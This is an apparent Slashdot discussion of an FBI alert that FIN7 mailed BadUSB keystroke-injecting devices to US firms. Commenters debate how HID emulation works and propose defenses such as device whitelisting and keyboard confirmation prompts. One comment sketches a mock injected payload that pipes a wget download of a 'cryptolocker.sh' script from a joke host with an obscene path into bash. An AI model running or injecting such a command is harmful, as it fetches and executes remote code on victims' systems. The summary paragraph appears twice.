Hackers Target US Defense Firms With Malicious USB Packages (bleepingcomputer.com) 57
The Federal Bureau of Investigation (FBI) warned US companies in a recently updated flash alert that the financially motivated FIN7 cybercriminals group is targeting the US defense industry with packages containing malicious USB devices. BleepingComputer reports: The attackers are mailing packages containing 'BadUSB' or 'Bad Beetle USB' devices with the LilyGO logo, commonly available for sale on the Internet. The packages have been mailed via the United States Postal Service (USPS) and United Parcel Service (UPS) to businesses in the transportation and insurance industries since August 2021 and defense firms starting with November 2021. FIN7 operators impersonate Amazon and the US Department of Health & Human Services (HHS) to trick the targets into opening the packages and connecting the USB drives to their systems. Since August, reports received by the FBI say that these malicious packages also contain letters about COVID-19 guidelines or counterfeit gift cards and forged thank you notes, depending on the impersonated entity.
After the targets plug the USB drive into their computers, it automatically registers as a Human Interface Device (HID) Keyboard (allowing it to operate even with removable storage devices toggled off). It then starts injecting keystrokes to install malware payloads on the compromised systems. FIN7's end goal in these attacks is to access the victims' networks and deploy ransomware within a compromised network using various tools, including Metasploit, Cobalt Strike, Carbanak malware, the Griffon backdoor, and PowerShell scripts. [...] Companies can defend against such attacks by allowing their employees to connect only USB devices based on their hardware ID or if they're vetted by their security team.
After the targets plug the USB drive into their computers, it automatically registers as a Human Interface Device (HID) Keyboard (allowing it to operate even with removable storage devices toggled off). It then starts injecting keystrokes to install malware payloads on the compromised systems. FIN7's end goal in these attacks is to access the victims' networks and deploy ransomware within a compromised network using various tools, including Metasploit, Cobalt Strike, Carbanak malware, the Griffon backdoor, and PowerShell scripts. [...] Companies can defend against such attacks by allowing their employees to connect only USB devices based on their hardware ID or if they're vetted by their security team.
Re: (Score:3, Informative)
It isn't just a USB storage device, it's a USB HID device on a chip. It emulates a keyboard.
If you plug a USB keyboard into linux and start typing does it not accept key strokes? I mean, I know linux is riddled with driver problems, but surely even a USB keyboard works right out of the box :).
Re: (Score:2)
Yes, I can plug in another keyboard to my system and it's automatically recognized, but given that linux and windows use different commands, how would it even know which set to use? It's not like the system echos the command output back to the keyboard device.
For this to work, you'd have to construct a malicious command to download and run regardless of OS, unless USB HID reports OS version info to the device (it might - I honestly don't know).
Re: (Score:3)
https://www.howtogeek.com/6869... [howtogeek.com]
[Try Ubuntu] ://gillbates.com/childporn/cryptolocker.sh | bash
Ctrl+Alt+T\n
wget -q -O - http
exit\n
[Try Windows] ...
[Try MAC] ...
There's no rule that says the command has to work.
Re: (Score:3)
This is why diversity is good, the more different setups someone might have the lower the chance of success for an attacker.
Plus these are going to be noisy, the user has a good chance of noticing the bogus commands and keypresses, the key combination for one system might do something totally unexpected and obvious on another system.
Re: Computers == Windows, right? (Score:3)
I know linux is riddled with driver problems Ubuntu user here, since 2006. Never experienced this. I've used video capture cards, midi keyboards, GPUs, mixing consoles, printers, cameras, mouses and keyboards on desktops, laptops and Raspberry Pis (Raspian not Ubuntu). All without a hitch. One time I had to backport a WiFi adaptor. Google search, a few commands and done.
Re: Computers == Windows, right? (Score:3)
Re:Computers == Windows, right? (Score:5, Informative)
It works on Linux just as well, and almost certainly OS/X as well given that it's a Unix underneath. It almost has to to make keyboards and mice (which usually register an additional keyboard device to handle programmable buttons) to just work when plugged in.
The general category of attack has been around since auto-run and auto-play were introduced. The rule you need to follow is to never, ever plug any hardware into your system unless you're sure of it's origin.
Re: (Score:3)
> never, ever plug any hardware into your system unless you're sure of it's origin.
Flips mouse over... "Made in China"... FUCK!
Re: Computers == Windows, right? (Score:2)
Re: (Score:3)
If you ordered it, and it arrived with the tracking number you expected and was the brand and model you expected, it's likely OK. Almost all of the problem with attacks like this comes from unsolicited stuff, and flash drives are cheap enough that it's not going to hurt you to just chuck the unsolicited ones.
Re: (Score:2)
It's not hard to embed a malicious device inside of an otherwise legitimate device.
Depending on your level of patience, work out the brand of equipment a given target uses, buy the same model and add a backdoor inside the case of a keyboard or mouse etc then mail it to the target or leave it laying around in their office (eg attend an interview or such)... If you're patient enough, someone will probably end up using it.
Re: (Score:2)
Well, these send keystrokes. They could identify whether they are on a Windows or Linux machine or a MAC or a phone and then have separate attacks for each. On a well-administrated Linux, for example, they will also stay restricted to the user that is logged in. Whether that user notices something is going on depends.
All your base are belong to us (Score:2)
There's absolutely NO DEFENSE against a physical USB drive. We should just give up now.
Re: (Score:2)
Maybe the solution is to be able to enable/disable HID on a per-port basis. Or perhaps, require USB HID devices to be registered with the OS before it can be used as one.
Re: (Score:2)
Windows 10: Now you can selectively block USB devices from connecting to your PCs
https://www.zdnet.com/article/... [zdnet.com]
You can already do that. However, the real solution is to just NOT plug random crap into your computer.
Re:All your base are belong to us (Score:5, Insightful)
Re: (Score:2)
Re: (Score:1)
Hacking us directly will be difficult.
Re: (Score:1)
This attack seems a little expensive and likely had a high value target like some dumb general. Its called "physical security" dummies. Lucky for the victims the makers didnt add the capacitors for USB Killer which collects 240 V and then fries the PC s motherboard. But it wasnt outrageously expensive if it was built
Re: (Score:2)
Of course there is. Current systems just lack them. For example, having to confirm that a new USB device is allowed to send keystrokes is one. Eventually, we will need tome way for HIDs to authenticate themselves, but that will take more effort.
Re: (Score:2)
The problem there is how do you confirm if a new device is able to send input events if you don't already have a working input device with which to issue the confirmation?
This would only work if you're adding an additional input device to a system which already has one.
Re: (Score:2)
Simple: The first HID gets added without confirmation. Sure, a user can still plug in a BadUSB when not having a keyboard or mouse attached, but you can only do so much to fix user stupidity.
Re: (Score:2)
Wait. Ransomware gangs (Score:3)
Re: (Score:3)
Especially considering the US has killed the minor children of suspected terrorists on foreign soil because it thought they might be involved in planning an operation somehow. And that they did this with a drone fired hellfire missile.
It always struck me as a bit naive for hackers to think the ability to "hack the government" represented some kind of invincibility. It never occurs to them that from the government's point of view, security is a problem solved not by implementing secure practices, but by
Re: (Score:2)
Re: (Score:2)
The first thing is training (Score:1)
What??? (Score:4, Funny)
Re: (Score:2)
I laughed, but then I remembered this problem isn't limited to computer instructions, phone instructions too:
https://abcnews.go.com/2020/st... [go.com]
Things till do not get IT security... (Score:5, Insightful)
Maybe the problem here is not those that mail these things. Seems the IT industry urgently needs a bit more evolutionary pressure to finally get crap like this sorted. Yes, here that means having the user confirm a new keyboard, mouse or other HID. As the typical situation is that this will be an additional keyboard, it should not be much of a problem. (The first HID should just be accepted automatically.) Just turning the functionality that is used for the attack off will not work, as there is no way to identify a legitimate keyboard.
Eventually, I guess, we will need to have HIDs authenticate themselves.
Re: (Score:2)
I remember having to keep a PS2 keyboard around to access bios and change the USB keyboard enabled setting to "true" when building desktop systems at one company I worked for back in the day...
It was a pain in the ass.
Re: (Score:2)
Re: (Score:2)
Sure, but having to use a PS2 keyboard because the system did not accept USB HID until it was manually enabled in BIOS sucked -which is why now systems do accept USB HID by default.
Re: (Score:2)
Sort of why I keep a USB keyboard around, just so the Mac Minis can be configured to use their Bluetooth keyboard. I also keep a PS/2 keyboard around just in case some machine decides it doesn't want to deal with USB at all before it boots, although as time has gone on, this has become far less of an issue.
Re:Things till do not get IT security... (Score:5, Interesting)
When BadUSB was first exposed, I added a one-liner udev rule (for linux) that prevented new keyboards to be added after boot.
But that's not perfect (if you unplug a legitimate keyboard you can't plug it back until reboot).
Re: (Score:2)
Well, this needs a way to ask the user. It can be "ask only if there is no other HID active".
Re: (Score:2)
This particular attack is fixed by only allowing a single keyboard, but it would be easy to just send someone a hacked keyboard claiming to be from the ergonomics group or something.
Re: (Score:2)
The simple approach is that if you go form zero to one HIDs, that one gets added without question. All others then require user confirmation.
Re: (Score:2)
Which is the first HID to be accepted when rebooting?
While rebooting is more obvious to the user, it often is ignored or simply accepted as "normal"
Re: (Score:2)
On boot, you simply accept all. Anybody booting with an unknown USB device is screwed already. _That_ attack may only need a conventional memory stick, depending on BIOS settings.
Re: (Score:2)
Re: (Score:2)
Even that might not be enough. To recognize that it's a keyboard that was just plugged in, the USB stack has to assign an address to the device and read the various descriptors off it. There is potential for exploits.
Realistically I think all we can do is try to make sure that USB stack is free of bugs and sandboxed (at least the part handling descriptors).
Re: (Score:2)
Even that might not be enough. To recognize that it's a keyboard that was just plugged in, the USB stack has to assign an address to the device and read the various descriptors off it. There is potential for exploits.
Realistically I think all we can do is try to make sure that USB stack is free of bugs and sandboxed (at least the part handling descriptors).
That is a different question and one of secure coding. The BadUSB attack works with a completely secure USB stack. You are mixing different problems here, which is not conductive to solving them. Also, sandboxing the USB stack is really the wrong approach. Core drivers need to be secure by themselves and there is enough secure coding techniques to assure that. Just needs people that know what they are doing.
Re: (Score:2)
On one hand, I miss the days of "dumb" ports. Yes, an SD card slot can work as a NIC interface, but it takes some work to do so. In some cases, bringing back a faster variant of eSATA, PS/2 keyboards/mice, and a CF card slot might not be a bad idea. At least a card plugged into a CF card slot might be able to cause damage via voltage multipliers, but couldn't enumerate itself as a keyboard or have access to DMA so it could have free access to search for encryption keys in RAM.
Of course, on the other hand
Re:USB MFA keys (Score:4, Informative)
Wouldn't work. These devices state that they're a keyboard and a flash drive, which is entirely legal (and used by some of the more sophisticated programmable keyboards, the drive allows access to the configuration files containing the programming for the keys).
Re: (Score:2)
This is an extremely widespread problem...
Many security mechanisms provide an improvement in one area, while opening up new attack vectors (often worse ones) in another.
Often those implementing such mechanisms are only concentrating on the improved area and make no consideration whatsoever about anything else.
CAPTCHA (Score:4, Interesting)
Plug in random USB device that begins emulating a keyboard.
Popup: "Hello new keyboard. Before we start, would you mind typing in the following string?"
Re: (Score:2)
Great idea but one would need also a bypass for devices like a gaming mouse (they declare themselves as keyboards and inject keybord macro commands).
Re: (Score:3)
bypass for devices like a gaming mouse
Pop up an on-screen keyboard. Mouse-click the CAPTCHA string.
Of course, all this does is verify that what you have is an actual human interface device. The most devious attack some cybercriminal could devise would be a compromised keyboard or mouse.
Isn't it way past time (Score:2)
for operating system vendors to block this sort of automatic install?
Device ID? (Score:2)
Just how is checking the hardware id going to achieve anything? It's not like a malicious device designed to simulate a keyboard isn't going to masquerade itself as a known reputable brand of keyboard.
It's not going to be hard for an attacker to work out what brand or even model of keyboards an organisation uses, and then tailor their devices to simulate them.
5 port switches (Score:2)
I always wondered why these weren't a vector for trjoan horse attacks.
In a lot of smaller organizations, branch offices, etc, they are like wire hangers. For every 1 you manage to get rid of, 2 more take their place. A malicious/trojan horse device like this could be shipped anonymously and probably get a reasonable level of use.
It would require some investment to pull off the device itself, but probably not much if you started with a modified MikroTik platform.
The whole thing would get you wired access i